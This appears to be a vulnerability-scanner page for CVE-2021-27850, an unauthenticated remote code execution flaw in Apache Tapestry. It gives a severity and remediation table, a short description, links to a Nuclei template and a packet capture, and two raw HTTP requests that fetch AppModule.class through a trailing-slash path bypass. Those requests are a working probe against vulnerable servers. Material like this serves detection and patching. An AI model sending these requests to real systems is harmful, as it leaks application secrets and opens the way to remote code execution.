| Title | Apache Tapestry - Remote Code Execution |
|---|---|
| Author | pdteam |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patches or updates provided by Apache to fix the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94219 |
| CVE ID | CVE-2021-27850 |
| CWE ID | CWE-502,CWE-200 |
| Tags | cve cve2021 apache tapestry vkev vuln |
Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
GET /assets/app/something/services/AppModule.class/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Origin: http://www.victim.com
Accept-Encoding: gzip
GET /assets/app/EiZP8H/services/AppModule.class/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Connection: close
Origin: http://www.victim.com
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27850.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27850.pcap
N/AN/A